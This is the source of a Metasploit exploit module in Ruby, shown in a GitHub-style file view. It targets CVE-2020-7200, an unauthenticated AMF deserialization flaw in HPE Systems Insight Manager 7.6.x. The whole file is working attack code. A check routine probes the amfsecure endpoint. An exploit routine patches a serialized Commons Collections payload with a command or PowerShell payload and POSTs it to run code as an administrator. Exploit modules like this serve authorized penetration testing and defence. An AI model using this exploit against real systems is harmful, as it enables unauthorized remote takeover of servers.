/
hpe_sim_76_amf_deserialization.rb
167 lines (149 loc) · 6.64 KB
/
hpe_sim_76_amf_deserialization.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HPE Systems Insight Manager AMF Deserialization RCE',
'Description' => %q{
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
Manager's hpsimsvc.exe process, which runs with administrative privileges. The vulnerability occurs due
to a failure to validate data during the deserialization process when a user submits a POST request to
the /simsearch/messagebroker/amfsecure page. This module exploits this vulnerability by leveraging an
outdated copy of Commons Collection, namely 3.2.2, that ships with HPE SIM, to gain
RCE as the administrative user running HPE SIM.
},
'Author' => [
'Harrison Neal', # Original bug finder, reported bug to ZDI
'Jang', # Aka @testanull on Twitter, editor of nightst0rm, who wrote a very detailed writeup of this bug in Vietnamese
'Grant Willcox' # Metasploit module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-7200'],
['URL', 'https://testbnull.medium.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-20-1449/'],
['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04068en_us']
],
'Platform' => 'win',
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 64000
}
],
[
'Windows Powershell',
{
'Arch' => [ARCH_X64],
'Type' => :windows_powershell,
'Space' => 64000
}
]
],
'DefaultOptions' => {
'RPORT' => 50000,
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2020-12-15',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The base path to the HPE SIM server', '/' ])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('Failed to connect to the server.') if res.nil?
body = res.body
unless body.include?('Please insert your Smart Card and login to HPE System Insight Manager.') && body.include?('<title>HPE Systems Insight Manager</title>') && body.include?('/ui/javascript/XeHelp.js')
return CheckCode::Safe("Target doesn't appear to be a HPE System Insight Manager server!")
end
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
serialized_payload_content = f_handle.read
f_handle.close
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, 'a') # NOP command of a which will allow for checking if the target is vulnerable.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
'data' => serialized_payload_content_final
})
unless res&.code == 200
return CheckCode::Safe("Non-200 HTTP response received during deserialization. Target doesn't seem to be vulnerable!")
end
unless res.to_s.include?('java.lang.NullPointerException')
return CheckCode::Safe("200 OK response didn't contain expected java.lang.NullPointerException. Target is not vulnerable!")
end
CheckCode::Vulnerable('Target returned java.lang.NullPointerException in its 200 OK response!')
end
def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded.gsub(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason.
end
end
def payload_template_adjustments(original_content, cmd)
original_content['PAYLOAD'] = cmd
original_content[0x47A..0x47B] = [cmd.length].pack('n')
second_adjustment_length = original_content[0x3C..].length * 2
pack_array = []
current_number = second_adjustment_length
for count in 0...3
if current_number >> 7 == 0
break
else
if count == 2
pack_array.prepend((current_number >> 8) | 0x80)
break
else
pack_array.prepend((current_number >> 7) | 0x80)
current_number = current_number >> 7
end
count += 1
end
end
pack_array.append((second_adjustment_length & 0x7F) + 1)
original_content[0x3A..0x3B] = pack_array.pack('c*')
original_content
end
def execute_command(cmd, _opts = {})
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
serialized_payload_content = f_handle.read
f_handle.close
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
'data' => serialized_payload_content_final
})
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
end
unless res.to_s.include?('java.lang.NullPointerException')
fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was received!')
end
end
end